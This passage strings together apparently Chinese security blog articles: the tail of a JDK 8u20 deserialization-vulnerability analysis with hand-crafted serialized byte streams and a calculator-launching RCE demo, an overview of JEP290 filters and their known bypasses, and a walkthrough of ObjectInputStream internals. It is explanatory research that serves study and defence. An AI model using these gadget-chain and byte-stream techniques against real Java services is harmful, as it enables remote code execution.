com.panda.sec.BeanContextSupport - 0x636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.BeanContextSupport values第二步，序列化AnnotationInvocationHandler类，然后利用SerializationDumper工具可以得到以下数据结构： STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00第三步，利用objectAnnotation插入AnnotationInvocationHandler对象：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 32 - 0x00 20 Value - com.panda.sec.BeanContextSupport - 0x636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.BeanContextSupport values objectAnnotation // 从这里开始 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00 TC_ENDBLOCKDATA - 0x78 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03第四步，修改handle值以及对应的classDescFlags值：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 32 - 0x00 20 Value - com.panda.sec.BeanContextSupport - 0x636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7e 00 00 classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.BeanContextSupport values objectAnnotation // 从这里开始 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 02 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 03 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00 TC_ENDBLOCKDATA - 0x78 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03注：这里最后的Handle - 8257539 - 0x00 7e 00 03中的8257539是serializationDumper中生成的数值，具体在序列化或反序列化流程中的体现，没有具体深究，该值不影响我们最终序列化数据的生成，该值的生成算法如下： public static void num(){ byte b1 = 0 ; byte b2 = 126; byte b3 = 0; byte b4 = 3; int handle = ( ((b1 << 24) & 0xff000000) + ((b2 << 16) & 0xff0000) + ((b3 << 8) & 0xff00) + ((b4 ) & 0xff) ); System.out.println("Handle - " + handle + " - 0x" + byteToHex(b1) + " " + byteToHex(b2) + " " + byteToHex(b3) + " " + byteToHex(b4)); }其中，b1 b2 b3 b4组合是 00 7e 00 xx，即代表了引用handle的值，然后将这些值经过运算就可以得到最终的8257539值。然后根据这段数据结构，转换成十六进制数据如下：ac ed 00 05 73 72 00 20 636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 00 00 00 00 00 00 00 14 03 00 00 78 70 73 72 00 29 636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 00 00 00 00 00 00 00 0a 02 00 01 49 00 04 7a65726f 78 70 00 00 00 00 78 71 00 7e 00 03这里需要注意的是，我们在前文提到了newhandle实际上没有被真正的写入文件，如果我们把这里的007e0000加入到序列化数据中，会发生异常，从而终止反序列化进程，之所以会在这里显示出来，是因为serializationDumper的作者为了方便使用者分析序列化数据的结构；所以我们在构建十六进制数据的过程中要丢弃掉newhandle对应的十六进制数据最后以4个字符为一组，8个组为一行，整理可得：aced 0005 7372 0020 636f 6d2e 7061 6e64 612e 7365 632e 4265 616e 436f 6e74 6578 7453 7570 706f 7274 0000 0000 0000 0014 0300 0078 7073 7200 2963 6f6d 2e70 616e 6461 2e73 6563 2e41 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 696f 6e48 616e 646c 6572 0000 0000 0000 000a 0200 0149 0004 7a65 726f 7870 0000 0000 7871 007e 0003将这些内容替换掉在从一个case说起最开始部分生成的payload1里的内容然后尝试再次运行以下代码：package com.panda.sec; import java.io.*; public class Main { public static void payload() throws IOException, ClassNotFoundException { // AnnotationInvocationHandler annotationInvocationHandler = new AnnotationInvocationHandler(0); // // ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload1")); // out.writeObject(annotationInvocationHandler); // out.writeObject(annotationInvocationHandler); // out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload1")); System.out.println(in.readObject().toString()); AnnotationInvocationHandler str = (AnnotationInvocationHandler)in.readObject(); System.out.println(str.toString()); str.exec("open /System/Applications/Calculator.app"); } public static void main(String[] args) throws IOException, ClassNotFoundException { payload(); } }结果如下：成功实现了RCE，并且可以看到，我们第一次反序列还原的对象是com.panda.sec.BeanContextSupport，第二次反序列化还原的对象是com.panda.sec.AnnotationInvocationHandler，也正对应了我们自己手动插入数据的顺序0x05 jdk8u20 漏洞分析我们在jdk8u20漏洞原理部分提到逃过异常抛出是该漏洞的关键所在，又经过上面一个case的分析，现在再来看看如何逃过异常抛出呢？没错，就是在jdk源码中找到一个类似于该case中的BeanContextSupport类，让BeanContextSupport成为外层，去调用jdk源码中的AnnotationInvocationHandler类，这样一来没有异常抛出就能够使反序列化流程不被终止，成功组成新的gadget链，完成一次完美的反序列化漏洞攻击。那么在jdk源码中到底有没有一个类似于该case中的BeanContextSupport类？答案是显而易见的，其实为了方便读者理解此处的内容，我在case中就把这个类的名称给了出来——是的，就是 java.beans.beancontext.BeanContextSuppor类，我们利用的是该类中的readChildren方法，来具体看看： public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException { int count = serializable; while (count-- > 0) { Object child = null; BeanContextSupport.BCSChild bscc = null; try { child = ois.readObject(); bscc = (BeanContextSupport.BCSChild)ois.readObject(); } catch (IOException ioe) { continue; } catch (ClassNotFoundException cnfe) { continue; } synchronized(child) { BeanContextChild bcc = null; try { bcc = (BeanContextChild)child; } catch (ClassCastException cce) { // do nothing; } if (bcc != null) { try { bcc.setBeanContext(getBeanContextPeer()); bcc.addPropertyChangeListener("beanContext", childPCL); bcc.addVetoableChangeListener("beanContext", childVCL); } catch (PropertyVetoException pve) { continue; } } childDeserializedHook(child, bscc); } } } 可以看到，在该方法的第7行，对传入进来的ObjectInputStream对象调用了readObject方法进行反序列化处理，并且当在反序列化过程中如果出现异常，采用的是continue处理。完美的符合我们的要求。我们在上文中提到ObjectAnnotation这个概念，并且其实可以发现，如果存在ObjectAnnotation结构，那么一般是由TC_ENDBLOCKDATA - 0x78去标记结尾的，但是这里其实存在一个问题，我们知道在jdk7u21修复中是因为IllegalArgumentException异常被捕获后抛出了java.io.InvalidObjectException，虽然这里我们可以利用BeanContextSupport来强制序列化流程继续下去，但是抛出的异常会导致BeanContextSupport的ObjectAnnotation中TC_ENDBLOCKDATA - 0x78结尾标志无法被正常处理，如果我们不手动删除这个TC_ENDBLOCKDATA - 0x78那么会导致后面的结构归在ObjectAnnotation结构中，从而读取错误，反序列化出来的数据不是我们预期数据。所以我们在生成BeanContextSupport的ObjectAnnotation中不能按照正规的序列化结构，需要将标记结尾的结构TC_ENDBLOCKDATA - 0x78删除也正由于我们把TC_ENDBLOCKDATA - 0x78删除了，会导致我们在使用SerializationDumper工具查看jdk8u20的序列化数据结构出错，如下图所示：这里还有一个tips点，就是我们在插入BeanContextSupport对象的时候并不是像case中那样直接插入，而是借用假属性的概念插入。在成员抛弃中我们提到在反序列化中，如果当前这个对象中的某个字段并没有在字节流中出现，则这些字段会使用类中定义的默认值，如果这个值出现在字节流中，但是并不属于对象，则抛弃该值，但是如果这个值是一个对象的话，那么会为这个值分配一个 Handle。所以我们插入一个任意类型为BeanContextSupport的字段就可以在不影响原有的序列化流程的情况下，形成一个gadget链这里可能有点难以理解，多说一点我们知道一般gadget链是一链接着一链紧紧相连，通过写各种类之间的调用，就能够满足整个gadget链的要求，实现整个gadget链的相连。但在jdk8u20中，并非如此，因为LinkedHashSet没法在满足绕过异常抛出的条件下直接调用BeanContextSupport方法，但是BeanContextSupport可以调用AnnotationInvocationHandler方法，这也就导致我们的gadget链在LinkedHashSet下一步断了，那怎么办？只能通过修改序列化数据结构的方式，在LinkedHashSet中强行插入一个BeanContextSupport类型的字段值，由于在java反序列化的流程中，一般都是首先还原对象中字段的值，然后才会还原objectAnnotation结构中的值（即是按照序列化数据结构的顺序），所以它会首先反序列化LinkedHashSet，然后反序列LinkedHashSet字段的值，由于在这个字段值中有一个BeanContextSupport类型的字段，所以反序列化会去还原BeanContextSupport对象，也就是objectAnnotation中的数据在反序列化BeanContextSupport的过程中，会首先反序列化BeanContextSupport的字段值，其中有个值为 Templates.class 的 AnnotationInvocationHandler 类的对象的字段，然后反序列化会去还原AnnotationInvocationHandler对象，成功的关联了下一个链！最后就是同 Jdk7u21 一样的流程，利用动态代理触发Proxy.equals(EvilTemplates.class)，达到恶意类注入实现RCE的最终目的。目前jdk8u20反序列化漏洞 payload 的写法有以下几种方式：原生的，通过数组手动去构建：https://github.com/pwntester/JRE8u20_RCE_Gadget/通过字节码写入的方式构建：https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA、https://xz.aliyun.com/t/8277#toc-5通过python javaSerializationTools模块构建：https://mp.weixin.qq.com/s/SMq6aE5-qV9cINv1-74RgA纵观以上的方法各有各的优劣，有的容易理解，但是构建起来却很麻烦，有的不容易理解，但是构建起来较为方便，其实还有如果读者全文看下来，还有一种更容易理解的方法，就是先把jdk7u21漏洞利用的payload的序列化数据结构生成出来，然后向该数据结构中用类似case中的方法，去手动插入对象，但是这个工作量比较大，故我也没有手动去实现，有兴趣、有时间的朋友可以去尝试利用该方法生成payload（包你酸爽～但是对你理解jdk8u21来说，这种方式是最直白的方式）另外，jdk8u20特殊的一点在于，实际上BeanContextSupport不能算是真正意义上的一条链，链还是jdk7u21中的那条链，只不过BeanContextSupport是用来避免抛出异常用到的媒介。0x06 总结本文对jdk8u20原生反序列化漏洞进行了分析，但和其他分析文章不同的是，本文没有按照常规的分析方法进行分析，而是重点写了一个case，用一个最简单的case去了解jdk8u20最核心的问题点，然后从整体上阐述了jdk8u20反序列化漏洞是怎么一回事，流程上是什么样的站在读者的角度上去考虑，让自己如何用更直白的方式让别人理解你发的内容，我觉得这样的方式可以让我更能理解我所分析的漏洞、记忆我所写的内容，毕竟，每一个分析文章其实对于我来说都是一次整体上的总结0x07 参考https://github.com/pwntester/JRE8u20_RCE_Gadgethttp://wouter.coekaerts.be/2015/annotationinvocationhandlerhttps://paper.seebug.org/456/https://github.com/potats0/javaSerializationToolshttps://mp.weixin.qq.com/s/SMq6aE5-qV9cINv1-74RgAhttps://xz.aliyun.com/t/8277https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA
JEP2900x01 什么是JEP?JDK Enhancement Proposal 简称JEP，是 JDK 增强提议的一个项目，目前索引编号已经达到了JEP415，本文重点来谈谈什么是JEP290，JEP290做了哪些事，JEP290绕过的方法总结等。0x02 什么是JEP290?JEP290的描述是Filter Incoming Serialization Data，即过滤传入的序列化数据F Clo 9core/io:serialization290Filter Incoming Serialization DataJEP290 是 Java 为了防御反序列化攻击而设置的一种过滤器，其在 JEP 项目中编号为290，因而通常被简称为JEP2900x03 JEP290的适用范围Java™ SE Development Kit 8, Update 121 (JDK 8u121)Java™ SE Development Kit 7, Update 131 (JDK 7u131)Java™ SE Development Kit 6, Update 141 (JDK 6u141)0x04 JEP290 的作用Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes. [提供一个限制反序列化类的机制，白名单或者黑名单]Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors. [限制反序列化的深度和复杂度]Provide a mechanism for RMI-exported objects to validate the classes expected in invocations. [ 为RMI远程调用对象提供了一个验证类的机制]The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream. [定义一个可配置的过滤机制，比如可以通过配置 properties文件的形式来定义过滤器]JEP290 具体内容1、限制的情况：反序列化类数组时的数组元素数 ( arrayLength )每个嵌套对象的深度( depth )当前数量对象引用 ( references ) 的数量当前消耗的字节数 ( streamBytes )2、支持 3 种配置过滤器的方式自定义过滤器进程范围过滤器（也称为全局过滤器）用于 RMI 注册表和分布式垃圾收集 (DGC)使用的内置过滤器3、自定义过滤器当反序列化要求与整个应用程序中的任何其他反序列化过程不同时，就会出现自定义过滤器的配置场景；可以通过实现ObjectInputFilter接口并覆盖checkInput(FilterInfo filterInfo)方法来创建自定义过滤器：如以下示例：static class VehicleFilter implements ObjectInputFilter { final Class<?> clazz = Vehicle.class; final long arrayLength = -1L; final long totalObjectRefs = 1L; final long depth = 1l; final long streamBytes = 95L; public Status checkInput(FilterInfo filterInfo) { if (filterInfo.arrayLength() < this.arrayLength || filterInfo.arrayLength() > this.arrayLength || filterInfo.references() < this.totalObjectRefs || filterInfo.references() > this.totalObjectRefs || filterInfo.depth() < this.depth || filterInfo.depth() > this.depth || filterInfo.streamBytes() < this.streamBytes || filterInfo.streamBytes() > this.streamBytes) { return Status.REJECTED; } if (filterInfo.serialClass() == null) { return Status.UNDECIDED; } if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) { return Status.ALLOWED; } else { return Status.REJECTED; } } }在JDK 9 中，oracle 向 ObjectInputStream 类里添加了两个方法（getObjectInputFilter、setObjectInputFilter），允许为当前的 ObjectInputStream 设置或者获取自定义的过滤器：public class ObjectInputStream extends InputStream implements ObjectInput, ObjectStreamConstants { private ObjectInputFilter serialFilter; ... public final ObjectInputFilter getObjectInputFilter() { return serialFilter; } public final void setObjectInputFilter(ObjectInputFilter filter) { ... this.serialFilter = filter; } ... } 与 JDK 9 不同，最新的 JDK 8 似乎只允许在ObjectInputFilter.Config.setObjectInputFilter(ois, new VehicleFilter());上设置过滤器，如下所示：4、进程范围（全局）过滤器可以通过将jdk.serialFilter设置为系统属性或安全属性来配置进程范围的过滤器（其实就是在启动Java应用时添加命令行参数，如：-Djdk.serialFilter=<白名单类1>;<白名单类2>;!<黑名单类>）。如果定义了系统属性，则用于配置过滤器；否则过滤器会检查安全属性（JDK 8、7、6： $JAVA_HOME/lib/security/java.security ；JDK 9 及更高版本： $JAVA_HOME/conf/security/java.security）以配置过滤器此外，也可以在启动Java应用时设置-Djava.security.properties=<黑白名单配置文件名>具体来说，通过检查类名或传入字节流属性的限制，jdk.serialFilter的值被过滤器被配置为一系列模式，每个模式要么与流中类的名称匹配，要么与限制匹配。模式由分号分隔，空格也被认为是模式的一部分。无论模式序列的配置顺序如何，都会在类之前检查限制。以下是可在配置期间使用的限制属性：maxdepth=value — 图的最大深度maxrefs=value — 内部参考的最大数量maxbytes=value — 输入流中的最大字节数maxarray=value — 允许的最大数组大小其他模式与Class.getName()返回的类或包名称匹配*。Class/Package模式也接受星号 (*)、双星号 (**)、句点 (.) 和正斜杠 (/) 符号。以下是可能发生的几种模式场景：//匹配特定的类并拒绝非列表中的类 "jdk.serialFilter=org.example.Vehicle;!*" //匹配包和所有子包中的类并拒绝非列表中的类 - "jdk.serialFilter=org.example.**;!*" // 匹配包中的所有类并拒绝非列表中的类 - "jdk.serialFilter=org.example.*;!*" // 匹配任何以设置样式为前缀的类 - "jdk.serialFilter=*;### 5、内置过滤器内置过滤器用于 RMI Registry 、RMI 分布式垃圾收集器(DCG)和 Java 管理扩展(JMX)RMI Registry 有一个内置的白名单过滤器，允许将对象绑定到注册表中。它包括的情况如下：java.rmi.Remote`java.lang.Numberjava.lang.reflect.Proxyjava.rmi.server.UnicastRef`java.rmi.activation.ActivationIdjava.rmi.server.UID`java.rmi.server.RMIClientSocketFactoryjava.rmi.server.RMIServerSocketFactory内置过滤器包括大小限制： maxarray=1000000,maxdepth=20RMI 分布式垃圾收集器有一个内置的白名单过滤器，它接受一组有限的类。它包括的情况如下：java.rmi.server.ObjID`java.rmi.server.UIDjava.rmi.dgc.VMIDjava.rmi.dgc.Lease内置过滤器包括大小限制： maxarray=1000000,maxdepth=20除了这些类之外，用户还可以使用sun.rmi.registry.registryFilter（针对RMI Registry）和sun.rmi.transport.dgcFilter（针对DGC）系统或安全属性添加自己的自定义过滤器对于JMX 过滤器，可以在进行RMIServer.newClient远程调用以及通过 RMI 向服务器发送反序列化参数时，指定要使用的反序列化过滤器模式字符串；还可以使用该management.properties文件向默认代理提供过滤器模式字符串0x05 JEP290 值得注意的点JEP290需要手动设置，只有设置了之后才会有过滤，没有设置的话就还是可以正常的反序列化漏洞利用JEP290默认只为 RMI 注册表（RMI Register层）、 RMI分布式垃圾收集器（DGC层）以及 JMX 提供了相应的内置过滤器0x06 JEP290的绕过对于JEP290的绕过其实要基于有没有配置全局过滤器，如果没有，那么有可能在应用程序级别中利用反序列化漏洞，但如果配置了全局过滤器，那么只能通过发现新的gadget链去利用。配置了全局过滤器JDK7u21JDK8u20RMI Registry Bypass (2019)（利用的是新的gadget链）未配置全局过滤器CVE-2018-4939 (2018) --> Spring Framework RmiInvocationHandler，它可以将任意对象传递给RemoteInvocation类（利用的是任意对象作为参数）unmarshalValue方法（2020年1月在JDK 8u242-b07、 11.0.6+10、13.0.2+5、14.0.1+2中修复，Java 版本 9、10 和 12 未修复）0x07 JEP290 绕过带来的影响以前不能用的gadget链可能被再次利用。[如一些 CC 链可能被利用]新的gadget链能够被使用WebLogic深受影响0x08 参考https://access.redhat.com/blogs/766093/posts/3135411https://docs.oracle.com/javase/10/core/serialization-filtering1.htm#JSCOR-GUID-3ECB288D-E5BD-4412-892F-E9BB11D4C98A
0x01 写在前面同前一篇的分析方法一样，推荐复制demo代码，然后一步一步跟随笔者的分析进行debug调试跟随，这样跟能够帮助读者理解此文。0x02 流程分析在上一篇《 序列化流程分析总结》一文中我提到了所谓的序列化即是一个将对象写入到IO流中的过程。序列化的步骤通常是首先创建一个ObjectOutputStream输出流，然后调用ObjectOutputStream对象的writeObject方法，按照一定格式(上面提到的)输出可序列化对象。所以其实反序列化和序列化是一个相反的过程——所谓的反序列化即是从IO流中读出对象的过程。反序列化的步骤通常是首先创建一个ObjectInputStream输入流，然后调用ObjectInputStream对象的readObject方法读出序列化的内容。如下段demo代码：package com.panda.alipay; import java.io.*; public class Main { public static class Demo implements Serializable { private String string; transient String name = "hello"; public Demo(String s) { this.string = s; } public static void main(String[] args) throws IOException, ClassNotFoundException { Demo demo = new Demo("panda"); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("panda.out")); outputStream.writeObject(new Demo("panda")); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("panda.out")); inputStream.readObject(); } } }整个代码中最关键的两行为： ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("panda.out")); inputStream.readObject();这两行其实就包括了整个反序列化的流程。首先来看ObjectInputStream，ObjectInputStream和ObjectOutputStream一样，是一个实现了ObjectInput接口的InputStream的子类，其类定义如下：public class ObjectInputStream extends InputStream implements ObjectInput, ObjectStreamConstants{ ... }当我们实例化ObjectInputStream后，首先调用的是ObjectInputStream的构造方法。ObjectInputStream和ObjectOutputStream类一样有两个构造方法 —— 一个为public的单参数构造方法，一个为protected的无参构造方法同样地，当我们实例化ObjectInputStream并传入new FileInputStream("panda.out")参数后，调用的是ObjectInputStream中的public单参数构造方法，该方法内容如下：和ObjectOutputStream的构造方法一样——在该构造函数的开始，首先会调用verifySubclass方法处理缓存信息，要求该类(或子类)进行验证——验证是否可以在不违反安全约束的情况下构造此实例。然后和ObjectOutputStream不同的是，在ObjectOutputStream中我们初始化的对象是bout、handles、subs以及enableOverride，但是在ObjectInputStream中，我们初始化的对象变成了bin、handles、vlist以及enableOverride。 /** filter stream for handling block data conversion */ private final BlockDataInputStream bin; /** validation callback list */ private final ValidationList vlist; /** wire handle -> obj/exception map */ private final HandleTable handles; /** if true, invoke readObjectOverride() instead of readObject() */ private final boolean enableOverride;思考：bin、handles、vlist以及enableOverride各代表什么意思？首先对于handles和enableoverride来说其和在ObjectOutputStream中代表的含义相同：handles：是一个哈希表，表示从对象到引用的映射enableOverride：布尔型常量，用于决定在反序列化时选用readObjectOverride方法还是readObject方法而对于bin来说其实同样把它当成bout去理解——因为他们作用基本相同至于vlist成员属性，它主要用于提供一个callback操作的验证集合当bin被初始化后，也意味着实例化了一个BlockDataInputStream（不理解BlockDataInputStream的可以看我上一篇文章《 序列化流程分析总结》）在几个成员属性都被初始化后，调用readStreamHeader()方法先验证魔数和序列化的版本是否匹配如果不匹配则抛出序列化的StreamCorruptedMismatch异常：当ObjectInputStream的public构造方法走完后，才会调用readObject()开始写对象数据，该方法的主要代码如下：这个方法是ObjectInputStream对外的反序列化的入口，但其实它并不是核心方法，只是用于判断应该调用readObjectOverride还是readObject0方法（enableOverride决定）由于在ObjectInputStream的public构造方法中已经初始化了enableOverride = false，所以直接跳过第一个if分支（不调用readObjectOverride方法），进入readObject0方法，该方法如下（略长）：/** * Underlying readObject implementation. */ private Object readObject0(boolean unshared) throws IOException { boolean oldMode = bin.getBlockDataMode(); if (oldMode) { int remain = bin.currentBlockRemaining(); if (remain > 0) { throw new OptionalDataException(remain); } else if (defaultDataEnd) { /* * Fix for 4360508: stream is currently at the end of a field * value block written via default serialization; since there * is no terminating TC_ENDBLOCKDATA tag, simulate * end-of-custom-data behavior explicitly. */ throw new OptionalDataException(true); } bin.setBlockDataMode(false); } byte tc; while ((tc = bin.peekByte()) == TC_RESET) { bin.readByte(); handleReset(); } depth++; totalObjectRefs++; try { switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException("writing aborted", ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true); bin.peek(); // force header read throw new OptionalDataException( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException( "unexpected block data"); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException(true); } else { throw new StreamCorruptedException( "unexpected end of block data"); } default: throw new StreamCorruptedException( String.format("invalid type code: %02X", tc)); } } finally { depth--; bin.setBlockDataMode(oldMode); } }来一点一点分析在readObject0最开始的地方： oldMode = bin.getBlockDataMode();用于获取当前的读取模式，检查是否是Data Block模式读取，如果检测的结果是Data Block模式，则先计算字节流中剩余的字节数量(currentBlockRemaining)，剩余数量大于0或者defaultDataEnd的值为true（defaultDataEnd表示一个数据段的结束，在这里也就是说没有数据了）则抛出java.io.OptionalDataException异常信息思考：为什么在这两种情况下会抛出java.io.OptionalDataException异常？因为readObecjt0方法主要负责读取对象类型的数据，这些数据虽然本身是一个Data Block，但是在字节流中它并没有使用TC_BLOCKDATALONG或TC_BLOCKDATA标记去表示这段的字节流是可选数据块，所以这个地方一旦发现还存在这两种类型的Data Block数据段，则直接抛出java.io.OptionalDataException异常，举个例子就是没有事先声明你要来我家，结果来了我家里，我就认为你是抢劫，所以要报警（异常）。经过这些判断后，会在if分支的最后关闭Data Block模式；开始读取字节流中的内容，如果读到了TC_RESET标记，那么调用handleReset方法去处理，如果没有那么继续向下读：如果读到了TC_NULL——调用readNull函数；如果读到了TC_REFERENCE——调用readHandle函数；如果读到了TC_CLASS——调用readClass函数；如果读到了TC_CLASSDESC或TC_PROXYCLASSDESC——调用readClassDesc函数；如果读到了TC_STRING或TC_LONGSTRING——调用readString函数；如果读到了TC_ARRAY——调用readArray函数；如果读到了TC_ENUM——调用readEnum函数；如果读到了TC_OBJECT——调用readOrdinaryObject函数；如果读到了TC_EXCEPTION——调用readFatalExcception函数，然后抛出异常；如果读到了TC_BLOCKDATA或TC_BLOCKDATALONG——抛出异常信息，只是Data Block模式不同则抛出的异常信息不一样，开启Data Block模式；如果读到了TC_ENDBLOCKDATA——抛出异常信息，同上，只是不开启Data Block模式；其他情况直接抛出异常信息；在上述过程中，如果遇见了TC_ARRAY，TC_ENUM，TC_OBJECT，TC_STRING以及TC_LONGSTRING标记，那么会调用checkResolve方法以检查反序列化的对象中是否重写了readResolve方法：若是重写，那么需要执行重写的Resolve流程，若没有重写，则 返回obj对象在本demo中，最终走到的是readOrdinaryObject方法：下断点后可以进入readOradinaryObject方法如下：首先会再次判断读到的标识是不是TC_OBJECT，如果不是，那么直接抛出InternalError错误然后利用readClassDesc方法从系统中读取当前Java对象所属类的描述信息：由于 Demo 是一个类对象，那么会走进readNonProxyDesc：同样的，该方法也再次判断是否有TC_CLASSDESC标记，如果没有，那么抛出InternalError错误然后判断读取模式是什么，如果是unshared，那么从handles对象的映射中读取一个新的desc，如果不是unshared，那么从unsharedMarker中读取对应的对象思考：unsharedMarker是什么？unsharedMarker用于存储对象的状态，可以把unsharedMarker当成一个识别unshared状态的标记，在反序列化重建的过程中，其unshared状态的对象和非unshared状态的反序列化步骤不完全相同。接着进入readClassDescriptor方法：readClassDescriptor会调用readNonProxy方法读取当前类的元数据信息：在这个方法里，系统会先从字节流中读取类名信息name = in.readUTF();，其次从字节流中读取serialVersionUID的信息，然后再从字节流中读取各种SC_*标记信息，通过该标记信息设置对应的成员属性，最后从字节流中读取每一个字段的信息：这些字段信息包括：TypeCode、fieldName、fieldType：readNonProxy这里对应的方法是在序列化时使用的writeNonProxy方法，在writeNonProxy中写入的TypeCode、fieldName、fieldType在这里被读取。读取结束以后会依次跳出readNonProxy、readClassDescriptor方法，在获得类信息后会返回readNonProxyDesc接着走完下面的流程：如上图中的流程，首先开启Data Block模式（bin.setBlockDataMode(true)），然后调用resolveClass方法处理当前类的信息：之前我在《序列化流程分析总结》一文中提到：annotateClass是提供给子类实现的方法，通常默认情况下这个方法什么也不做，与此类似的还有ObjectInputStream中的resolveClass方法。实际上，ObjectInputStream中的resolveClass、resolveProxyClass、resolveObject这三个方法对应着ObjectOutputStream中定义的annotateClass、annotateProxyClass和replaceObject方法，如果ObjectOutputStream的子类重写了这的三个方法，那么要求ObjectInputStream的子类也必须重写这三个方法对应的resolve方法。在这里，resolveClass方法会根据字节流中读取的类描述信息加载本地类，加载的时候用到的就是我们平时用的Class.forName()的方法，实际上反序列化漏洞根本的原因就是在这里加载了Runtime类，然后执行了exec()方法。处理完当前类的信息后，会调用filterCheck方法进行检测：如果非空，那么调用序列化筛选器，这个筛选器调用了serialFilter.checkInput方法检查序列化数据，如果检测出来了异常，那么会令status为Status.REJECTED状态，filterCheck将会根据serialFilter.checkInput的检查结果来决定是否执行反序列化，如果checkInput()方法返回Status.REJECTED，反序列化将会被阻止，并抛出InvalidClassException()错误：如果checkInput()方法返回Status.ALLOWED，程序将可执行反序列化在结束了反序列化内容检测后，会调用skipCustomData方法跳过所有数据块和对象，直到遇到TC_ENDBLOCKDATA标识接着，会调用ObjectStreamClass中的initNonProxy方法：在这个方法里会初始化表示非代理类的类描述符：初始化完毕后会调用handles的finish方法完成引用Handle的赋值操作：最后将结果赋值给passHandle成员属性（初始定义为private int passHandle = 